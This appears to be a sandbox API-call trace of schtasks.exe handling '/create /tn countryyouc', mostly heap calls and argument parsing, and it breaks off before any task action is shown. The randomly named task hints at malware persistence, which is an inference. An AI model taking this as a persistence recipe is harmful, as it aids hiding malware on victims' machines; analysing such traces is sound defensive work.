[0073.673] RtlSizeHeap (HeapHandle=0x100000, Flags=0x0, MemoryPointer=0x11cee0) returned 0x20 [0073.673] HeapFree (in: hHeap=0x100000, dwFlags=0x0, lpMem=0x11cee0 | out: hHeap=0x100000) returned 1 [0073.673] GetProcessHeap () returned 0x100000 [0073.673] GetProcessHeap () returned 0x100000 [0073.673] HeapValidate (hHeap=0x100000, dwFlags=0x0, lpMem=0x11df90) returned 1 [0073.673] GetProcessHeap () returned 0x100000 [0073.673] RtlSizeHeap (HeapHandle=0x100000, Flags=0x0, MemoryPointer=0x11df90) returned 0x8 [0073.673] HeapFree (in: hHeap=0x100000, dwFlags=0x0, lpMem=0x11df90 | out: hHeap=0x100000) returned 1 [0073.673] GetProcessHeap () returned 0x100000 [0073.673] GetProcessHeap () returned 0x100000 [0073.673] HeapValidate (hHeap=0x100000, dwFlags=0x0, lpMem=0x11cf10) returned 1 [0073.673] GetProcessHeap () returned 0x100000 [0073.673] RtlSizeHeap (HeapHandle=0x100000, Flags=0x0, MemoryPointer=0x11cf10) returned 0x20 [0073.674] HeapFree (in: hHeap=0x100000, dwFlags=0x0, lpMem=0x11cf10 | out: hHeap=0x100000) returned 1 [0073.674] GetProcessHeap () returned 0x100000 [0073.674] GetProcessHeap () returned 0x100000 [0073.674] HeapValidate (hHeap=0x100000, dwFlags=0x0, lpMem=0x11d6a0) returned 1 [0073.674] GetProcessHeap () returned 0x100000 [0073.674] RtlSizeHeap (HeapHandle=0x100000, Flags=0x0, MemoryPointer=0x11d6a0) returned 0x10 [0073.674] HeapFree (in: hHeap=0x100000, dwFlags=0x0, lpMem=0x11d6a0 | out: hHeap=0x100000) returned 1 [0073.674] GetProcessHeap () returned 0x100000 [0073.674] GetProcessHeap () returned 0x100000 [0073.674] HeapValidate (hHeap=0x100000, dwFlags=0x0, lpMem=0x11cf40) returned 1 [0073.674] GetProcessHeap () returned 0x100000 [0073.674] RtlSizeHeap (HeapHandle=0x100000, Flags=0x0, MemoryPointer=0x11cf40) returned 0x20 [0073.674] HeapFree (in: hHeap=0x100000, dwFlags=0x0, lpMem=0x11cf40 | out: hHeap=0x100000) returned 1 [0073.674] GetProcessHeap () returned 0x100000 [0073.674] GetProcessHeap () returned 0x100000 [0073.674] HeapValidate (hHeap=0x100000, dwFlags=0x0, lpMem=0x11dfb0) returned 1 [0073.674] GetProcessHeap () returned 0x100000 [0073.675] RtlSizeHeap (HeapHandle=0x100000, Flags=0x0, MemoryPointer=0x11dfb0) returned 0x6 [0073.675] HeapFree (in: hHeap=0x100000, dwFlags=0x0, lpMem=0x11dfb0 | out: hHeap=0x100000) returned 1 [0073.675] GetProcessHeap () returned 0x100000 [0073.675] GetProcessHeap () returned 0x100000 [0073.675] HeapValidate (hHeap=0x100000, dwFlags=0x0, lpMem=0x11cf70) returned 1 [0073.675] GetProcessHeap () returned 0x100000 [0073.675] RtlSizeHeap (HeapHandle=0x100000, Flags=0x0, MemoryPointer=0x11cf70) returned 0x20 [0073.675] HeapFree (in: hHeap=0x100000, dwFlags=0x0, lpMem=0x11cf70 | out: hHeap=0x100000) returned 1 [0073.675] GetProcessHeap () returned 0x100000 [0073.675] GetProcessHeap () returned 0x100000 [0073.675] HeapValidate (hHeap=0x100000, dwFlags=0x0, lpMem=0x115590) returned 1 [0073.675] GetProcessHeap () returned 0x100000 [0073.675] RtlSizeHeap (HeapHandle=0x100000, Flags=0x0, MemoryPointer=0x115590) returned 0x18 [0073.675] HeapFree (in: hHeap=0x100000, dwFlags=0x0, lpMem=0x115590 | out: hHeap=0x100000) returned 1 [0073.676] SetLastError (dwErrCode=0x0) [0073.676] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0073.676] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0073.676] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0073.676] VerifyVersionInfoW (in: lpVersionInformation=0xbc030, dwTypeMask=0x3, dwlConditionMask=0x800000000001801b | out: lpVersionInformation=0xbc030) returned 1 [0073.676] SetLastError (dwErrCode=0x0) [0073.676] lstrlenW (lpString="create") returned 6 [0073.676] StrChrIW (lpStart="create", wMatch=0x7c) returned 0x0 [0073.676] SetLastError (dwErrCode=0x490) [0073.676] SetLastError (dwErrCode=0x0) [0073.676] lstrlenW (lpString="create") returned 6 [0073.676] GetProcessHeap () returned 0x100000 [0073.676] RtlAllocateHeap (HeapHandle=0x100000, Flags=0xc, Size=0x20) returned 0x11cf70 [0073.676] GetProcessHeap () returned 0x100000 [0073.676] RtlAllocateHeap (HeapHandle=0x100000, Flags=0xc, Size=0x18) returned 0x11d6a0 [0073.676] _memicmp (_Buf1=0x11d6a0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.676] GetProcessHeap () returned 0x100000 [0073.676] RtlAllocateHeap (HeapHandle=0x100000, Flags=0xc, Size=0x16) returned 0x11d6c0 [0073.676] SetLastError (dwErrCode=0x0) [0073.676] _memicmp (_Buf1=0x11bbf0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.677] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x11bd90, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0073.677] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0x0 | out: lpdwHandle=0x0) returned 0x744 [0073.677] GetProcessHeap () returned 0x100000 [0073.677] RtlAllocateHeap (HeapHandle=0x100000, Flags=0xc, Size=0x74e) returned 0x11def0 [0073.677] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x74e, lpData=0x11def0 | out: lpData=0x11def0) returned 1 [0073.677] VerQueryValueW (in: pBlock=0x11def0, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0xbc118, puLen=0xbc180 | out: lplpBuffer=0xbc118*=0x11e28c, puLen=0xbc180) returned 1 [0073.678] _memicmp (_Buf1=0x11bbf0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.678] _vsnwprintf (in: _Buffer=0x11bd90, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0xbc0f8 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0073.678] VerQueryValueW (in: pBlock=0x11def0, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0xbc188, puLen=0xbc178 | out: lplpBuffer=0xbc188*=0x11e0b8, puLen=0xbc178) returned 1 [0073.678] lstrlenW (lpString="schtasks.exe") returned 12 [0073.678] lstrlenW (lpString="schtasks.exe") returned 12 [0073.678] lstrlenW (lpString=".EXE") returned 4 [0073.678] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0073.678] lstrlenW (lpString="schtasks.exe") returned 12 [0073.678] lstrlenW (lpString=".EXE") returned 4 [0073.678] lstrlenW (lpString="schtasks") returned 8 [0073.678] lstrlenW (lpString="/create") returned 7 [0073.678] _memicmp (_Buf1=0x11bbf0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.678] _vsnwprintf (in: _Buffer=0x11bd90, _BufferCount=0x19, _Format="%s %s", _ArgList=0xbc0f8 | out: _Buffer="schtasks /create") returned 16 [0073.678] _memicmp (_Buf1=0x11bc10, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.678] GetProcessHeap () returned 0x100000 [0073.678] RtlAllocateHeap (HeapHandle=0x100000, Flags=0xc, Size=0x20) returned 0x11cf40 [0073.678] _memicmp (_Buf1=0x11bc30, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.678] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x11d440, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0073.678] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0073.678] GetProcessHeap () returned 0x100000 [0073.678] RtlAllocateHeap (HeapHandle=0x100000, Flags=0xc, Size=0x30) returned 0x117c50 [0073.679] _vsnwprintf (in: _Buffer=0x11c190, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0xbc0f8 | out: _Buffer="Type \"SCHTASKS /CREATE /?\" for usage.") returned 37 [0073.679] GetProcessHeap () returned 0x100000 [0073.679] GetProcessHeap () returned 0x100000 [0073.679] HeapValidate (hHeap=0x100000, dwFlags=0x0, lpMem=0x11def0) returned 1 [0073.679] GetProcessHeap () returned 0x100000 [0073.679] RtlSizeHeap (HeapHandle=0x100000, Flags=0x0, MemoryPointer=0x11def0) returned 0x74e [0073.679] HeapFree (in: hHeap=0x100000, dwFlags=0x0, lpMem=0x11def0 | out: hHeap=0x100000) returned 1 [0073.679] SetLastError (dwErrCode=0x0) [0073.679] GetThreadLocale () returned 0x409 [0073.679] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0073.679] lstrlenW (lpString="create") returned 6 [0073.679] GetThreadLocale () returned 0x409 [0073.679] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0073.679] lstrlenW (lpString="?") returned 1 [0073.679] GetThreadLocale () returned 0x409 [0073.679] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0073.680] lstrlenW (lpString="s") returned 1 [0073.680] GetThreadLocale () returned 0x409 [0073.680] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0073.680] lstrlenW (lpString="u") returned 1 [0073.680] GetThreadLocale () returned 0x409 [0073.680] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0073.680] lstrlenW (lpString="p") returned 1 [0073.680] GetThreadLocale () returned 0x409 [0073.680] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0073.680] lstrlenW (lpString="ru") returned 2 [0073.680] GetThreadLocale () returned 0x409 [0073.680] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0073.680] lstrlenW (lpString="rp") returned 2 [0073.680] GetThreadLocale () returned 0x409 [0073.680] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0073.680] lstrlenW (lpString="sc") returned 2 [0073.680] GetThreadLocale () returned 0x409 [0073.680] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0073.680] lstrlenW (lpString="mo") returned 2 [0073.680] GetThreadLocale () returned 0x409 [0073.680] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0073.680] lstrlenW (lpString="d") returned 1 [0073.680] GetThreadLocale () returned 0x409 [0073.680] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0073.680] lstrlenW (lpString="m") returned 1 [0073.680] GetThreadLocale () returned 0x409 [0073.681] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0073.681] lstrlenW (lpString="i") returned 1 [0073.681] GetThreadLocale () returned 0x409 [0073.681] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0073.681] lstrlenW (lpString="tn") returned 2 [0073.681] GetThreadLocale () returned 0x409 [0073.681] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0073.681] lstrlenW (lpString="tr") returned 2 [0073.681] GetThreadLocale () returned 0x409 [0073.681] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0073.681] lstrlenW (lpString="st") returned 2 [0073.681] GetThreadLocale () returned 0x409 [0073.681] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0073.681] lstrlenW (lpString="sd") returned 2 [0073.681] GetThreadLocale () returned 0x409 [0073.681] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0073.681] lstrlenW (lpString="ed") returned 2 [0073.681] GetThreadLocale () returned 0x409 [0073.681] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0073.681] lstrlenW (lpString="it") returned 2 [0073.681] GetThreadLocale () returned 0x409 [0073.681] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0073.681] lstrlenW (lpString="et") returned 2 [0073.681] GetThreadLocale () returned 0x409 [0073.681] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0073.681] lstrlenW (lpString="k") returned 1 [0073.681] GetThreadLocale () returned 0x409 [0073.682] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0073.682] lstrlenW (lpString="du") returned 2 [0073.682] GetThreadLocale () returned 0x409 [0073.682] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0073.682] lstrlenW (lpString="ri") returned 2 [0073.682] GetThreadLocale () returned 0x409 [0073.682] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0073.682] lstrlenW (lpString="z") returned 1 [0073.682] GetThreadLocale () returned 0x409 [0073.682] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0073.682] lstrlenW (lpString="f") returned 1 [0073.682] GetThreadLocale () returned 0x409 [0073.682] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0073.682] lstrlenW (lpString="v1") returned 2 [0073.682] GetThreadLocale () returned 0x409 [0073.682] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0073.682] lstrlenW (lpString="xml") returned 3 [0073.682] GetThreadLocale () returned 0x409 [0073.682] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0073.682] lstrlenW (lpString="ec") returned 2 [0073.682] GetThreadLocale () returned 0x409 [0073.682] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0073.682] lstrlenW (lpString="rl") returned 2 [0073.682] GetThreadLocale () returned 0x409 [0073.682] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0073.682] lstrlenW (lpString="delay") returned 5 [0073.682] GetThreadLocale () returned 0x409 [0073.682] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0073.683] lstrlenW (lpString="np") returned 2 [0073.683] SetLastError (dwErrCode=0x0) [0073.683] SetLastError (dwErrCode=0x0) [0073.683] lstrlenW (lpString="/create") returned 7 [0073.683] lstrlenW (lpString="-/") returned 2 [0073.683] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0073.683] lstrlenW (lpString="create") returned 6 [0073.683] lstrlenW (lpString="create") returned 6 [0073.683] _memicmp (_Buf1=0x11c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.683] lstrlenW (lpString="create") returned 6 [0073.683] _memicmp (_Buf1=0x11c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.683] _vsnwprintf (in: _Buffer=0x11c3c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0xbc108 | out: _Buffer="|create|") returned 8 [0073.683] _vsnwprintf (in: _Buffer=0x11c3a0, _BufferCount=0x9, _Format="|%s|", _ArgList=0xbc108 | out: _Buffer="|create|") returned 8 [0073.683] lstrlenW (lpString="|create|") returned 8 [0073.683] lstrlenW (lpString="|create|") returned 8 [0073.683] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0073.683] SetLastError (dwErrCode=0x0) [0073.683] SetLastError (dwErrCode=0x0) [0073.683] SetLastError (dwErrCode=0x0) [0073.683] lstrlenW (lpString="/tn") returned 3 [0073.683] lstrlenW (lpString="-/") returned 2 [0073.683] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0073.683] lstrlenW (lpString="create") returned 6 [0073.683] lstrlenW (lpString="create") returned 6 [0073.683] _memicmp (_Buf1=0x11c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.684] lstrlenW (lpString="tn") returned 2 [0073.684] _memicmp (_Buf1=0x11c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.684] _vsnwprintf (in: _Buffer=0x11c3c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0xbc108 | out: _Buffer="|create|") returned 8 [0073.684] _vsnwprintf (in: _Buffer=0x11c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc108 | out: _Buffer="|tn|") returned 4 [0073.684] lstrlenW (lpString="|create|") returned 8 [0073.684] lstrlenW (lpString="|tn|") returned 4 [0073.684] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0073.684] SetLastError (dwErrCode=0x490) [0073.684] lstrlenW (lpString="?") returned 1 [0073.684] lstrlenW (lpString="?") returned 1 [0073.684] _memicmp (_Buf1=0x11c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.684] lstrlenW (lpString="tn") returned 2 [0073.684] _memicmp (_Buf1=0x11c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.684] _vsnwprintf (in: _Buffer=0x11c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc108 | out: _Buffer="|?|") returned 3 [0073.684] _vsnwprintf (in: _Buffer=0x11c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc108 | out: _Buffer="|tn|") returned 4 [0073.684] lstrlenW (lpString="|?|") returned 3 [0073.684] lstrlenW (lpString="|tn|") returned 4 [0073.684] SetLastError (dwErrCode=0x490) [0073.684] lstrlenW (lpString="s") returned 1 [0073.684] lstrlenW (lpString="s") returned 1 [0073.684] _memicmp (_Buf1=0x11c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.684] lstrlenW (lpString="tn") returned 2 [0073.685] _memicmp (_Buf1=0x11c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.685] _vsnwprintf (in: _Buffer=0x11c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc108 | out: _Buffer="|s|") returned 3 [0073.685] _vsnwprintf (in: _Buffer=0x11c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc108 | out: _Buffer="|tn|") returned 4 [0073.685] lstrlenW (lpString="|s|") returned 3 [0073.685] lstrlenW (lpString="|tn|") returned 4 [0073.685] SetLastError (dwErrCode=0x490) [0073.685] lstrlenW (lpString="u") returned 1 [0073.685] lstrlenW (lpString="u") returned 1 [0073.685] _memicmp (_Buf1=0x11c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.685] lstrlenW (lpString="tn") returned 2 [0073.685] _memicmp (_Buf1=0x11c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.685] _vsnwprintf (in: _Buffer=0x11c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc108 | out: _Buffer="|u|") returned 3 [0073.685] _vsnwprintf (in: _Buffer=0x11c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc108 | out: _Buffer="|tn|") returned 4 [0073.685] lstrlenW (lpString="|u|") returned 3 [0073.685] lstrlenW (lpString="|tn|") returned 4 [0073.685] SetLastError (dwErrCode=0x490) [0073.685] lstrlenW (lpString="p") returned 1 [0073.685] lstrlenW (lpString="p") returned 1 [0073.685] _memicmp (_Buf1=0x11c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.685] lstrlenW (lpString="tn") returned 2 [0073.685] _memicmp (_Buf1=0x11c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.685] _vsnwprintf (in: _Buffer=0x11c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc108 | out: _Buffer="|p|") returned 3 [0073.685] _vsnwprintf (in: _Buffer=0x11c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc108 | out: _Buffer="|tn|") returned 4 [0073.685] lstrlenW (lpString="|p|") returned 3 [0073.686] lstrlenW (lpString="|tn|") returned 4 [0073.686] SetLastError (dwErrCode=0x490) [0073.686] lstrlenW (lpString="ru") returned 2 [0073.686] lstrlenW (lpString="ru") returned 2 [0073.686] _memicmp (_Buf1=0x11c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.686] lstrlenW (lpString="tn") returned 2 [0073.686] _memicmp (_Buf1=0x11c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.686] _vsnwprintf (in: _Buffer=0x11c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc108 | out: _Buffer="|ru|") returned 4 [0073.686] _vsnwprintf (in: _Buffer=0x11c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc108 | out: _Buffer="|tn|") returned 4 [0073.686] lstrlenW (lpString="|ru|") returned 4 [0073.686] lstrlenW (lpString="|tn|") returned 4 [0073.686] StrStrIW (lpFirst="|ru|", lpSrch="|tn|") returned 0x0 [0073.686] SetLastError (dwErrCode=0x490) [0073.686] lstrlenW (lpString="rp") returned 2 [0073.686] lstrlenW (lpString="rp") returned 2 [0073.686] _memicmp (_Buf1=0x11c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.686] lstrlenW (lpString="tn") returned 2 [0073.686] _memicmp (_Buf1=0x11c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.686] _vsnwprintf (in: _Buffer=0x11c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc108 | out: _Buffer="|rp|") returned 4 [0073.686] _vsnwprintf (in: _Buffer=0x11c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc108 | out: _Buffer="|tn|") returned 4 [0073.686] lstrlenW (lpString="|rp|") returned 4 [0073.686] lstrlenW (lpString="|tn|") returned 4 [0073.687] StrStrIW (lpFirst="|rp|", lpSrch="|tn|") returned 0x0 [0073.687] SetLastError (dwErrCode=0x490) [0073.687] lstrlenW (lpString="sc") returned 2 [0073.687] lstrlenW (lpString="sc") returned 2 [0073.687] _memicmp (_Buf1=0x11c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.687] lstrlenW (lpString="tn") returned 2 [0073.687] _memicmp (_Buf1=0x11c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.687] _vsnwprintf (in: _Buffer=0x11c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc108 | out: _Buffer="|sc|") returned 4 [0073.687] _vsnwprintf (in: _Buffer=0x11c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc108 | out: _Buffer="|tn|") returned 4 [0073.687] lstrlenW (lpString="|sc|") returned 4 [0073.687] lstrlenW (lpString="|tn|") returned 4 [0073.687] StrStrIW (lpFirst="|sc|", lpSrch="|tn|") returned 0x0 [0073.687] SetLastError (dwErrCode=0x490) [0073.687] lstrlenW (lpString="mo") returned 2 [0073.687] lstrlenW (lpString="mo") returned 2 [0073.687] _memicmp (_Buf1=0x11c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.687] lstrlenW (lpString="tn") returned 2 [0073.687] _memicmp (_Buf1=0x11c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.687] _vsnwprintf (in: _Buffer=0x11c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc108 | out: _Buffer="|mo|") returned 4 [0073.687] _vsnwprintf (in: _Buffer=0x11c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc108 | out: _Buffer="|tn|") returned 4 [0073.687] lstrlenW (lpString="|mo|") returned 4 [0073.687] lstrlenW (lpString="|tn|") returned 4 [0073.687] StrStrIW (lpFirst="|mo|", lpSrch="|tn|") returned 0x0 [0073.687] SetLastError (dwErrCode=0x490) [0073.688] lstrlenW (lpString="d") returned 1 [0073.688] lstrlenW (lpString="d") returned 1 [0073.688] _memicmp (_Buf1=0x11c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.688] lstrlenW (lpString="tn") returned 2 [0073.688] _memicmp (_Buf1=0x11c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.688] _vsnwprintf (in: _Buffer=0x11c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc108 | out: _Buffer="|d|") returned 3 [0073.688] _vsnwprintf (in: _Buffer=0x11c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc108 | out: _Buffer="|tn|") returned 4 [0073.688] lstrlenW (lpString="|d|") returned 3 [0073.688] lstrlenW (lpString="|tn|") returned 4 [0073.688] SetLastError (dwErrCode=0x490) [0073.688] lstrlenW (lpString="m") returned 1 [0073.688] lstrlenW (lpString="m") returned 1 [0073.688] _memicmp (_Buf1=0x11c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.688] lstrlenW (lpString="tn") returned 2 [0073.688] _memicmp (_Buf1=0x11c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.688] _vsnwprintf (in: _Buffer=0x11c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc108 | out: _Buffer="|m|") returned 3 [0073.688] _vsnwprintf (in: _Buffer=0x11c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc108 | out: _Buffer="|tn|") returned 4 [0073.688] lstrlenW (lpString="|m|") returned 3 [0073.688] lstrlenW (lpString="|tn|") returned 4 [0073.688] SetLastError (dwErrCode=0x490) [0073.688] lstrlenW (lpString="i") returned 1 [0073.688] lstrlenW (lpString="i") returned 1 [0073.688] _memicmp (_Buf1=0x11c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.688] lstrlenW (lpString="tn") returned 2 [0073.688] _memicmp (_Buf1=0x11c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.689] _vsnwprintf (in: _Buffer=0x11c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc108 | out: _Buffer="|i|") returned 3 [0073.689] _vsnwprintf (in: _Buffer=0x11c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc108 | out: _Buffer="|tn|") returned 4 [0073.689] lstrlenW (lpString="|i|") returned 3 [0073.689] lstrlenW (lpString="|tn|") returned 4 [0073.689] SetLastError (dwErrCode=0x490) [0073.689] lstrlenW (lpString="tn") returned 2 [0073.689] lstrlenW (lpString="tn") returned 2 [0073.689] _memicmp (_Buf1=0x11c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.689] lstrlenW (lpString="tn") returned 2 [0073.689] _memicmp (_Buf1=0x11c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.689] _vsnwprintf (in: _Buffer=0x11c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc108 | out: _Buffer="|tn|") returned 4 [0073.689] _vsnwprintf (in: _Buffer=0x11c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc108 | out: _Buffer="|tn|") returned 4 [0073.689] lstrlenW (lpString="|tn|") returned 4 [0073.689] lstrlenW (lpString="|tn|") returned 4 [0073.689] StrStrIW (lpFirst="|tn|", lpSrch="|tn|") returned="|tn|" [0073.689] SetLastError (dwErrCode=0x0) [0073.689] SetLastError (dwErrCode=0x0) [0073.689] lstrlenW (lpString="countryyouc") returned 11 [0073.689] lstrlenW (lpString="-/") returned 2 [0073.689] StrChrIW (lpStart="-/", wMatch=0x63) returned 0x0 [0073.689] SetLastError (dwErrCode=0x490) [0073.689] SetLastError (dwErrCode=0x490) [0073.689] SetLastError (dwErrCode=0x0) [0073.689] lstrlenW (lpString="countryyouc") returned 11 [0073.689] StrChrIW (lpStart="countryyouc", wMatch=0x3a) returned 0x0 [0073.690] SetLastError (dwErrCode=0x490) [0073.690] SetLastError (dwErrCode=0x0) 